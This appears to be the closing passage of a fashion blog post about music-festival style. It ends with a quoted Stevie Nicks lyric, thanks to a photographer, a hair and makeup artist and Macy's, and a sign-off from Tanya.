Have fun this summer! And if it’s your style, rock the music festival look all you want, even if you never get near a stage. It’s all about the heart, baby!

“So I’m back to the Velvet Underground
Back to the floor that I love
To a room with some lace and paper flowers
Back to the gypsy that I was, to the gypsy that I was”

~ Stevie Nicks, Fleetwood Mack, Gypsy

Special thanks to Barleta Qela Photography, Danielle O’Connor for hair & makeup, Macy’s for all the fun fashions that went into this article!!!

XOXO,
Tanya